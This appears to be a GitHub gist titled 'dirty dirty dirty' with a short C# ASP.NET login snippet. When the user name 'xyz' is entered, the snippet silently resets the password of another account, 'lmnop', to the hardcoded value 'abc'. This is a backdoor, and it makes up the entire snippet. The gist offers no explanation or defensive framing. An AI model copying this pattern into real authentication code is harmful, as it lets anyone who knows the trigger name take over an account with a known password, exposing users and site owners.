Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@camt
Last active April 21, 2016 00:47
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save camt/4b6cf8e0cc8ab508e3ae95b17ef1ceb0 to your computer and use it in GitHub Desktop.
Save camt/4b6cf8e0cc8ab508e3ae95b17ef1ceb0 to your computer and use it in GitHub Desktop.
dirty dirty dirty
if (model.UserName.ToLower()=="xyz") {
MembershipUser mu = Membership.GetUser("lmnop");
if (mu != null) {
mu.ChangePassword(mu.ResetPassword(), "abc");
ModelState.AddModelError("", "Password has been reset.");
return View(model);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment